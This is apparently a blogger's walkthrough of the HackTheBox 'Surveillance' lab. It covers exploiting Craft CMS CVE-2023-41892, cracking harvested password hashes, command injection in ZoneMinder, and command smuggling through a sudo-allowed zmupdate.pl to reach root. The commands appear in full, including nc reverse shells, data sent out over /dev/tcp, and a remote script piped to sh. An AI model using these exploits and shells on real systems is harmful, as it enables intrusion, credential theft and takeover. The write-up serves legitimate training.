Contents

HackTheBox Surveillance

Initial Enumeration

Port Scan

❯ rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.10.11.245 -- -sV -sC -oA ./{{ip}}.initial
PortProtocolStateServiceReasonProductVersionExtra Info
22tcpopensshsyn-ackOpenSSH8.9p1 Ubuntu 3ubuntu0.4Ubuntu Linux; protocol 2.0
80tcpopenhttpsyn-acknginx1.18.0Ubuntu

The initial network scan reveals two ports.

❯ curl -L http://10.10.11.245
curl: (6) Could not resolve host: surveillance.htb

To resolve this site, 10.10.11.245 surveillance.htb needs to be added to the /etc/hosts file.

Now the page is viewable.

/posts/2023-12-13-hackthebox-surveillance/assets/image.png
Home Page

Web Enumeration

Check to see what technologies the site was built with.

❯ whatweb -a3 -v surveillance.htb
WhatWeb report for http://surveillance.htb
Status    : 200 OK
Title     : Surveillance
IP        : 10.10.11.245
Country   : RESERVED, ZZ

Summary   : Bootstrap[4.3.1], Email[demo@surveillance.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.4.1], nginx[1.18.0], Script[text/javascript], X-Powered-By[Craft CMS], X-UA-Compatible[IE=edge]

Detected Plugins:
[ Bootstrap ]
        Bootstrap is an open source toolkit for developing with
        HTML, CSS, and JS.

        Version      : 4.3.1
        Version      : 4.3.1
        Website     : https://getbootstrap.com/

[ Email ]
        Extract email addresses. Find valid email address and
        syntactically invalid email addresses from mailto: link
        tags. We match syntactically invalid links containing
        mailto: to catch anti-spam email addresses, eg. bob at
        gmail.com. This uses the simplified email regular
        expression from
        http://www.regular-expressions.info/email.html for valid
        email address matching.

        String       : demo@surveillance.htb

[ HTML5 ]
        HTML version 5, detected by the doctype declaration


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to
        identify the operating system from the server header.

        OS           : Ubuntu Linux
        String       : nginx/1.18.0 (Ubuntu) (from server string)

[ JQuery ]
        A fast, concise, JavaScript that simplifies how to traverse
        HTML documents, handle events, perform animations, and add
        AJAX.

        Version      : 3.4.1
        Website     : http://jquery.com/

[ Script ]
        This plugin detects instances of script HTML elements and
        returns the script language/type.

        String       : text/javascript

[ X-Powered-By ]
        X-Powered-By HTTP header

        String       : Craft CMS (from x-powered-by string)

[ X-UA-Compatible ]
        This plugin retrieves the X-UA-Compatible value from the
        HTTP header and meta http-equiv tag. - More Info:
        http://msdn.microsoft.com/en-us/library/cc817574.aspx

        String       : IE=edge

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance
        HTTP server and reverse proxy, as well as an IMAP/POP3
        proxy server.

        Version      : 1.18.0
        Website     : http://nginx.net/

HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Tue, 12 Dec 2023 04:33:18 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close
        X-Powered-By: Craft CMS
        Content-Encoding: gzip

whatweb reveals that the site is running Craft CMS. Let’s enumerate over the directories now.

❯ feroxbuster -u "http://surveillance.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --silent --filter-status 503 --dont-scan img,js,images,css
http://surveillance.htb/admin => http://surveillance.htb/admin/login                        http://surveillance.htb/logout => http://surveillance.htb/                                  http://surveillance.htb/                                                                    http://surveillance.htb/fonts => http://surveillance.htb/fonts/                             http://surveillance.htb/index

Enumerating files.

❯ feroxbuster -u "http://surveillance.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt --dont-scan img,js,images,css

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://surveillance.htb
 🚫  Don't Scan Regex      │ img
 🚫  Don't Scan Regex      │ js
 🚫  Don't Scan Regex      │ images
 🚫  Don't Scan Regex      │ css
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.1
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       63l      222w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      475l     1185w    16230c http://surveillance.htb/index.php
200      GET      475l     1185w    16230c http://surveillance.htb/
200      GET        9l       26w      304c http://surveillance.htb/.htaccess
200      GET       27l       63w     1202c http://surveillance.htb/web.config

The scans reveal a login page.

/posts/2023-12-13-hackthebox-surveillance/assets/image-1.png
Craft CMS Login

It says right there again, “craft cms”. To look for potential vulnerabilities I check if there are any available using searchsploit.

❯ searchsploit craft cms
---------------------------------------------------------- ---------------------------------
 Exploit Title                                            |  Path
---------------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting                      | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure            | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting                   | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting               | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template In | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execution     | php/webapps/48492.py
craftercms 4.x.x - CORS                                   | multiple/webapps/51313.txt
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

My initial enumeration didn’t yield any results for the Craft CMS version number and nothing in searchsploit looks particularly promising. After some Googling, I found a recent vulnerability for Craft CMS CVE-2023-41892.

/posts/2023-12-13-hackthebox-surveillance/assets/image-17.png
CVE-2023-41892

It is a critical vulnerability rated 9.8 and 10, affecting versions before 4.4.15. The Craft CMS GitHub repo’s changelog shows this vulnerability was patched 2023-07-03. There’s a chance this site is vulnerable.

Initial Foothold

I also found some resources explaining how this exploit works:

Test to see if the site is vulnerable to the exploit:

❯ curl -k "http://surveillance.htb/index.php" -X POST -d 'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}' > output.html
/posts/2023-12-13-hackthebox-surveillance/assets/image-2.png
phpinfo

This looks very promising. We also gain some valuable information by going through the output such as:

/posts/2023-12-13-hackthebox-surveillance/assets/image-3.png
phpinfo
$_SERVER['CRAFT_APP_ID'] CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7
$_SERVER['CRAFT_ENVIRONMENT'] production
$_SERVER['CRAFT_SECURITY_KEY'] 2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
$_SERVER['CRAFT_DB_DRIVER'] mysql
$_SERVER['CRAFT_DB_SERVER'] 127.0.0.1
$_SERVER['CRAFT_DB_PORT'] 3306
$_SERVER['CRAFT_DB_DATABASE'] craftdb
$_SERVER['CRAFT_DB_USER'] craftuser
$_SERVER['CRAFT_DB_PASSWORD'] CraftCMSPassword2023!

Another thing to note is file_uploads is set to On.

I rewrite the curl command a little to get a better understanding of what is happening.

config.json:

{
  "name": "test[userCondition]",
  "as xyz": {
    "class": "\\GuzzleHttp\\Psr7\\FnStream",
    "__construct()": [
      {
        "close": null
      }
    ],
    "_fn_close": "phpinfo"
  }
}
❯ http -f POST http://surveillance.htb/index.php \
'action=conditions/render' \
'test[userCondition]=craft\elements\conditions\users\UserCondition' \
config=@config.json

The previously mentioned calif.io craftcms-rce blog post suggests possible ways to perform the exploit to run arbitrary code other than phpinfo. Unfortunately I was unable to fully figure it out and will return to it later. Fortunately an existing Python POC of the exploit exists here https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226.

A few modifications to the script needed to be made. First I removed references to the proxies and changed the exploit to target a writable file instead of /etc/passwd.

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/tmp/file"}}}',
    }

Either the script is inconsistent, or my modifications aren’t optimal. After a couple of attempts I managed to get a shell.

/posts/2023-12-13-hackthebox-surveillance/assets/image-4.png
Shell Access

Linux Enumeration

I used Girsh to automate the process of upgrading to a better shell and close out the connection used with the python script.

❯ girsh listen -p 4443
01:08:46  Listening on :4443
Girsh> 01:09:43  Connect from 10.10.11.245:35562
Girsh> sessions
1 => linux 10.10.11.245:35562
Girsh> connect 1
<["/bin/bash","-c"," stty rows 33 cols 92  ;bash"])'
                                                    /usr/bin/env: 'python': No such file or directory
<["/bin/bash","-c"," stty rows 33 cols 92  ;bash"])'sources$

www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$
www-data@surveillance:~/html/craft/web/cpresources$ ls -al
total 124
drwxr-xr-x 30 www-data www-data 4096 Dec 12 09:10 .
drwxr-xr-x  8 www-data www-data 4096 Nov  7 21:10 ..
-rw-r--r--  1 www-data www-data   14 May 23  2023 .gitignore
drwxrwxr-x  4 www-data www-data 4096 Oct 17 20:26 1086baca
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 1be7b37d
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:26 1ee84e9
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:27 2df06f28
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:27 2e77077c
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 36829225
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 406b3277
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:26 5041a449
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 68d90560
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:26 6fb3ecb
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 82b5dc63
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 82e60301
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 877101b6
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:27 88748e5f
drwxrwxr-x  5 www-data www-data 4096 Oct 17 20:26 ab39c83
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 b50564df
drwxrwxr-x  4 www-data www-data 4096 Oct 17 20:27 b761b31b
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 bdf69417
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 bebdd9df
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:41 bf6704d6
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 c0d4ee74
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:26 ceb44668
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 d1a8b721
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 d448a8c9
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:26 deaf38df
drwxrwxr-x  2 www-data www-data 4096 Oct 17 20:27 e5e12a1b
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:27 ea30abe7
drwxrwxr-x  3 www-data www-data 4096 Oct 17 20:27 f137a894
www-data@surveillance:~/html/craft/web/cpresources$

There are two home directories but the www-data user does not have permissions to view either.

www-data@surveillance:/$ cd home
www-data@surveillance:/home$ ls -al
total 16
drwxr-xr-x  4 root       root       4096 Oct 17 11:20 .
drwxr-xr-x 18 root       root       4096 Nov  9 13:19 ..
drwxrwx---  3 matthew    matthew    4096 Nov  9 12:45 matthew
drwxr-x---  2 zoneminder zoneminder 4096 Nov  9 12:46 zoneminder

Using the credentials found earlier through exposed environment variables from phpinfo, I’m able to log into mysql:

mysql -h localhost -u craftuser --password=CraftCMSPassword2023!`

After looking at the tables, I decided to look through the users for passwords.

MariaDB [craftdb]> select * from users;
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | active | pending | locked | suspended | admin | username | fullName  | firstName | lastName | email                  | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
|  1 |    NULL |      1 |       0 |      0 |         0 |     1 | admin    | Matthew B | Matthew   | B        | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe | 2023-10-17 20:42:03 | NULL               | NULL                    |              NULL | 2023-10-17 20:38:18  | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2023-10-17 20:38:29    | 2023-10-11 17:57:16 | 2023-10-17 20:42:03 |
+----+---------+--------+---------+--------+-----------+-------+----------+-----------+-----------+----------+------------------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.000 sec)

Matthew owns the admin account, which suggests this password could be reused for the matthew user on the machine. To crack this hash $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe, I look for more information on how Craft CMS hashes passwords.

~/html/craft/composer.json reveals additional information about Craft CMS, including the version number 4.4.14.

www-data@surveillance:~/html/craft$ cat composer.json
{
  "require": {
    "craftcms/cms": "4.4.14",
    "vlucas/phpdotenv": "^5.4.0"
  },
  "require-dev": {
    "craftcms/generator": "^1.3.0",
    "yiisoft/yii2-shell": "^2.0.3"
  },
  "autoload": {
    "psr-4": {
      "modules\\": "modules/"
    }
  },
  "config": {
    "allow-plugins": {
      "craftcms/plugin-installer": true,
      "yiisoft/yii2-composer": true
    },
    "sort-packages": true,
    "optimize-autoloader": true,
    "platform": {
      "php": "8.0.2"
    }
  },
  "scripts": {
    "post-root-package-install": [
      "@php -r \"file_exists('.env') || copy('.env.example.dev', '.env');\""
    ]
  }
}

The CraftCMS GitHub repo on branch 4.4 reveals how the hash was constructed.

    /**
     * Hashes a given password with the bcrypt blowfish encryption algorithm.
     *
     * @param string $password The string to hash
     * @param bool $validateHash If you want to validate the just generated hash. Will throw an exception if
     * validation fails.
     * @return string The hash.
     */
    public function hashPassword(string $password, bool $validateHash = false): string
    {
        $hash = $this->generatePasswordHash($password, $this->_blowFishHashCost);

        if ($validateHash && !$this->validatePassword($password, $hash)) {
            throw new InvalidArgumentException('Could not hash the given string.');
        }

        return $hash;
    }

I’ll run hashcat in the background while continuing enumeration.

hashcat -O -m 3200 -a 0 -w 2 --opencl-device-types 1,2 C:\Users\bycEE\pentesting\hashes.txt -o C:\Users\bycEE\pentesting\cracked.txt C:\Users\bycEE\pentesting\rockyou.txt

Not long after, there’s a backup file that stands out.

www-data@surveillance:~/html/craft/storage$ ls -al
total 28
drwxr-xr-x 6 www-data www-data 4096 Oct 11 20:12 .
drwxr-xr-x 8 www-data www-data 4096 Oct 21 18:32 ..
-rw-r--r-- 1 www-data www-data   53 May 23  2023 .gitignore
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:33 backups
drwxrwxr-x 2 www-data www-data 4096 Oct 17 20:26 config-deltas
drwxr-xr-x 2 www-data www-data 4096 Dec 12 09:08 logs
drwxr-xr-x 6 www-data www-data 4096 Oct 11 18:01 runtime
www-data@surveillance:~/html/craft/storage$ cd backups
www-data@surveillance:~/html/craft/storage/backups$ ls -al
total 28
drwxrwxr-x 2 www-data www-data  4096 Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data  4096 Oct 11 20:12 ..
-rw-r--r-- 1 root     root     19918 Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

After transferring the file over to my host machine and extracting it, there is a surveillance--2023-10-17-202801--v4.4.14.sql file.

nc -lvnp 9000 > backup.zip # host machine
cat surveillance--2023-10-17-202801--v4.4.14.sql.zip > /dev/tcp/10.10.14.5/9000 # surveillance machine

Grepping for matthew reveals:

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;

This hash looks much easier to crack. After popping it into https://crackstation.net, the plaintext password is revealed.

Hash: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
Type: sha256
Result: starcraft122490

The password works with ssh and we get the user flag!

/posts/2023-12-13-hackthebox-surveillance/assets/image-5.png
User Flag

Now I can stop hashcat since it’s destroying my desktop and start looking for privilege escalation. Unfortunately there are no easy sudo binaries to abuse.

matthew@surveillance:~$ sudo -l
[sudo] password for matthew:
Sorry, user matthew may not run sudo on surveillance.

Linux Privilege Escalation

At this point I decide to launch a local http sever and run LinPEAS to help enumerate.

curl -L http://10.10.14.5:9090/linpeas.sh | sh | tee linpeas.txt

Some excerpts with interesting information:

╔══════════╣ Searching passwords in config PHP files
/usr/share/zoneminder/www/api/app/Config/database.php:          'password' => ZM_DB_PASS,
/usr/share/zoneminder/www/api/app/Config/database.php:          'password' => 'ZoneMinderPassword2023',
/usr/share/zoneminder/www/includes/config.php:  'Password'  => '',
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root utmp 15K Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root shadow 23K Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 27K Feb  2  2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root plocate 307K Feb 17  2022 /usr/bin/plocate (Unknown SGID binary)
-rwxr-sr-x 1 root tty 23K Feb 21  2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root tty 23K Feb 21  2022 /usr/bin/wall
-rwxr-sr-x 1 root shadow 71K Nov 24  2022 /usr/bin/chage
-rwxr-sr-x 1 root shadow 23K Nov 24  2022 /usr/bin/expiry
-rwxr-sr-x 1 root _ssh 287K Aug 24 13:40 /usr/bin/ssh-agent
-rwxr-sr-x 1 root crontab 39K Mar 23  2022 /usr/bin/crontab
╔══════════╣ Analyzing SSH Files (limit 70)
-rw-r--r-- 1 root root 603 Jan 17  2023 /etc/ssh/ssh_host_dsa_key.pub
-rw-r--r-- 1 root root 175 Jan 17  2023 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 95 Jan 17  2023 /etc/ssh/ssh_host_ed25519_key.pub
-rw-r--r-- 1 root root 567 Jan 17  2023 /etc/ssh/ssh_host_rsa_key.pub

PermitRootLogin yes
UsePAM yes
PasswordAuthentication yes
lrwxrwxrwx 1 root root 42 Oct 17 16:25 /etc/nginx/sites-enabled/zoneminder.conf -> /etc/nginx/sites-available/zoneminder.conf
server {
    listen 127.0.0.1:8080;

    root /usr/share/zoneminder/www;

    index index.php;

    access_log /var/log/zm/access.log;
    error_log /var/log/zm/error.log;

    location / {
        try_files $uri $uri/ /index.php?$args =404;

        location ~ /api/(css|img|ico) {
            rewrite ^/api(.+)$ /api/app/webroot/$1 break;
            try_files $uri $uri/ =404;
        }
        location /api {
            rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
        }
        location /cgi-bin {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_pass unix:/run/fcgiwrap.sock;
        }

        location ~ \.php$ {
            include fastcgi_params;

            fastcgi_param SCRIPT_FILENAME $request_filename;
            fastcgi_param HTTP_PROXY "";

            fastcgi_index index.php;

            fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
        }
    }
}

A quick Google search shows that ZoneMinder is “A full-featured, open source, state-of-the-art video surveillance software system”.

This didn’t come up in the initial port scan because it’s only listening on 127.0.0.1.

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

A simple port forward allows me to view the site.

ssh -L 9000:127.0.0.1:8080 matthew@10.10.11.245
/posts/2023-12-13-hackthebox-surveillance/assets/image-6.png
ZoneMinder Login

Exploiting ZoneMinder

After trying a couple user/password combinations, I remember that matthew is the admin user to the site. The admin:starcraft122490 login works and now have access to the admin panel.

/posts/2023-12-13-hackthebox-surveillance/assets/image-7.png
ZoneMinder Admin

Upon login, the version number v1.36.32 is shown in the upper right corner. This version of ZoneMinder has a couple vulnerabilities.

These modules are available via Metasploit, but I wanted to attempt this manually. Looking at the zoneminder_snapshots.rb source, it looks easy enough to replicate.

The Metasploit module allows unauthenticated command injection, but requires a CSRF token. Instead of replicating the logic to programmatically retrieve it, I cheat a little bit since we’re logged in by triggering a POST request and grabbing the __csrf_magic value.

/posts/2023-12-13-hackthebox-surveillance/assets/image-18.png
Copy POST Request as curl

We send the modified POST request with a URI encoded reverse shell.

curl 'http://127.0.0.1:9000/?' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://127.0.0.1:9000' -H 'Connection: keep-alive' -H 'Referer: http://127.0.0.1:9000/?view=console' -H 'Cookie: zmSkin=classic; zmCSS=base; zmMontageLayout=3; zmMontageScale=; zmControlTable.bs.table.columns=%5B%22Name%22%2C%22Type%22%2C%22Protocol%22%2C%22CanMove%22%2C%22CanZoom%22%2C%22CanFocus%22%2C%22CanIris%22%2C%22CanWhiteBal%22%2C%22HasPresets%22%5D; zmControlTable.bs.table.sortOrder=asc; zmControlTable.bs.table.sortName=CanIris; ZMSESSID=8iechipb0qd842v7s7hpii66ad; zmBandwidth=high; zmControlTable.bs.table.searchText=; zmControlTable.bs.table.pageNumber=1' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw '__csrf_magic=key%3A224850641cde07fd2c00407c39571fdb77f5393f%2C1702453937&view=snapshot&action=create&monitor_ids[0][Id]=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.5%204443%20%3E%2Ftmp%2Ff'
/posts/2023-12-13-hackthebox-surveillance/assets/image-8.png
Girsh Shell

Gaining Root

Starting off with seeing what sudo access is available to this user:

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

zoneminder@surveillance:/usr/share/zoneminder/www$

The zoneminder user has access to the following tools:

zoneminder@surveillance:/usr/bin$ ls -al /usr/bin/zm[a-zA-Z]*.pl
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root  6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root  5640 Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 19386 Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 17492 Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root  4815 Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root  2133 Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 13111 Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root  5340 Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 18482 Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root  8205 Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root  7022 Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 19655 Nov 23  2022 /usr/bin/zmx10.pl

I send these files over to my local machine to investigate instead of looking through them in the reverse shell.

tar -czvf /home/zoneminder/zm.tar.gz $(ls /usr/bin/zm[a-zA-Z]*.pl)
nc -lvnp 4444 > zm.tar.gz # on host
nc -vn 10.10.14.5 4444 < /home/zoneminder/zm.tar.gz # on surveillance

After tediously going through each file looking for a potential exploit, I finally found that zmupdate.pl runs the mysqldump command with passed in arguments.

zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl -h
12/13/23 07:20:24.001590 zmupdate[4171].ERR [ZoneMinder::Logger:545] [Can't open log file /var/log/zm/zmupdate.log: Permission denied]
Unknown option: h
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

zmupdate.pl snippet:

    if ( $response =~ /^[yY]$/ ) {
      my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host;
      }

I don’t know perl so after looking up the syntax, the line $command .= ' -u'.$dbUser; appends the string $dbUser to -u. This is verified by running the command.

zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl -u test
Database already at version 1.36.32, update skipped.

To prevent the code from exiting before it reaches the code block for mysqldump, I force an update to examine the output.

zoneminder@surveillance:/usr/share/zoneminder/www$ zmupdate.pl --version=2 -u test
12/13/23 07:22:25.619568 zmupdate[4195].ERR [ZoneMinder::Logger:545] [Can't open log file /var/log/zm/zmupdate.log: Permission denied]

Initiating database upgrade to version 1.36.32 from version 2

WARNING - You have specified an upgrade from version 2 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-2.dump. This may take several minutes.
sh: 1: cannot create /tmp/zm/zm-2.dump: Permission denied
Output:
Command 'mysqldump -utest -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-2.dump' exited with status: 2

It looks like breaking out of this command is possible with some bash finagling. I replicated the command and added in a reverse shell, then used echo so the rest of the command won’t break.

sudo zmupdate.pl --version=2 -u "zmuser -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.5 4443 >/tmp/f; echo "
/posts/2023-12-13-hackthebox-surveillance/assets/image-15.png
Root Access

The new shell is executed as the root user and the flag can be claimed!

/posts/2023-12-13-hackthebox-surveillance/assets/image-16.png
Root Flag